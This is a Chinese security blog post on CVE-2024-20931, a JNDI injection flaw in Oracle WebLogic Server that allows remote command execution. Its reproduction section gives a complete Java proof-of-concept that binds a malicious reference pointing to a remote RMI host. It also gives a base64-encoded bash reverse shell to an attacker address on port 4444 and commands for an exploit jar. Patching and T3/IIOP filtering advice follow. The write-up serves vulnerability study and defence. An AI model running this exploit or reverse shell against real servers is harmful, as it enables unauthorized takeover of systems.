CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

admin 2024年7月16日12:11:58评论59 views字数 3718阅读12分23秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:zero@Timeline Sec
本文字数:3425
阅读时长:3~5min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

漏洞编号:CVE-2024-20931
CVE-2024-20931 是一个影响版本为12.2.1.4.0 和 14.1.1.0.0的漏洞。该漏洞允许未经认证的攻击者通过T3或IIOP协议访问网络,从而进行远程命令执行获取服务器控制权限。此漏洞在2023年10月向Oracle报告,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。

0x03 影响版本

Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

0x04 环境搭建

docker拉取镜像

docker pull ismaleiva90/weblogic12

启动环境

docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

访问7001,加/console就是weblogic的控制页面

CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

0x05 漏洞复现

该漏洞的POC

package com.supeream;

import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;

import javax.naming.InitialContext;

import java.lang.reflect.Field;

import java.util.Hashtable;


public class CVE_2024_209321 {

  public static void main(String[] args) throws Exception {

     String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

 
     // 创建用来远程绑定对象的InitialContext

     String url = "t3://192.168.86.6:7001"; // 目标机器

     Hashtable env1 = new Hashtable();

     env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);

     env1.put(Context.PROVIDER_URL, url); // 目标

     InitialContext c = new InitialContext(env1);

 
     // ForeignOpaqueReference的jndiEnvironment属性

     Hashtable env2 = new Hashtable();

     env2.put("java.naming.factory.initial""oracle.jms.AQjmsInitialContextFactory");

     env2.put("datasource""rmi://jwbye8.dnslog.cn/mt");

 
     // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性

     ForeignOpaqueReference f = new ForeignOpaqueReference();

     Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");

     jndiEnvironment.setAccessible(true);

     jndiEnvironment.set(f, env2);

     Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");

     remoteJNDIName.setAccessible(true);

     String ldap = "rmi://jwbye8.dnslog.cn/mt";

     remoteJNDIName.set(f, ldap);

 
     // 远程绑定ForeignOpaqueReference对象

     c.rebind("glassy", f);


     // lookup查询ForeignOpaqueReference对象

     try {

       c.lookup("glassy");

     } catch (Exception e) {

     }
  }
}
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

测试DNSlog(漏洞存在)

CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

编码一下:bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuNDguMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

在线编码工具:https://ares-x.com/tools/runtime-exec

运行JNDI注入工具:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的反弹Shell命令" -A "攻击机IP"

利用CVE-2024-20931.jar工具

工具链接:https://github.com/dinosn/CVE-2024-20931

开启监听4444端口,反弹shell

CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

0x06 修复方式

1.升级到官方提供的安全版本:

Oracle 通常会发布补丁来修复已知漏洞,建议用户及时应用这些补丁。

2.限制网络访问:

使用防火墙或访问控制列表(ACL)限制对 WebLogic Server 的网络访问,特别是 T3 和 IIOP 协议端口。

3.禁用不必要的协议:

如果不需要使用 T3 或 IIOP 协议,可以在 WebLogic Server 配置中禁用这些协议。

4.监控系统日志:

实时监控 WebLogic Server 的系统日志,检测异常的访问和操作行为。

二、其他防护措施

如非必要,可以选择禁用T3 协议、IIOP协议。

禁用T3协议:

1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl

在连接筛选器规则中输入:

127.0.0.1 * * allow t3 t3s

0.0.0.0/0 * * deny t3 t3s  (注:t3和t3s协议的所有端口只允许本地访问)。

3)保存后需重禁用IIOP协议:

在WebLogic控制台中,选择【环境】>>【服务器】>>点击【AdminServer(管理)】>>【协议】>>【IIOP】,取消勾选“启用IIOP”,保存并重启WebLogic项目。新启动,规则方可生效。

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-20931
https://www.oracle.com/security-alerts/cpujan2024.html

Checklist

CVE-2024-20931
CVE-2023-21839
CVE-2021-2394
CVE-2021-2109
CVE-2020-2551
CVE-2020-14882&14883
CVE-2020-14825
CVE-2018-2894
CVE-2018-2628
CVE-2017-10271

CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

回复【加群】进入微信交流群
回复【SRC群】进入SRC-QQ交流群
回复【新人】领取新人学习指南资料
回复【面试】获取渗透测试常见面试题
回复【合作】获取各类安全项目合作方式
回复【帮会】付费加入SRC知识库学习
回复培训】获取TimelineSec官方培训课程详情

视频号:搜索TimelineSec

官方微博:#小程序://微博/tPbUYdN9EucSD4C

哔哩哔哩:https://space.bilibili.com/524591903

觉得有用就点赞收藏在看吧!
想看什么欢迎评论区留言~
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

原文始发于微信公众号(Timeline Sec):CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月16日12:11:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞https://cn-sec.com/archives/2959870.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息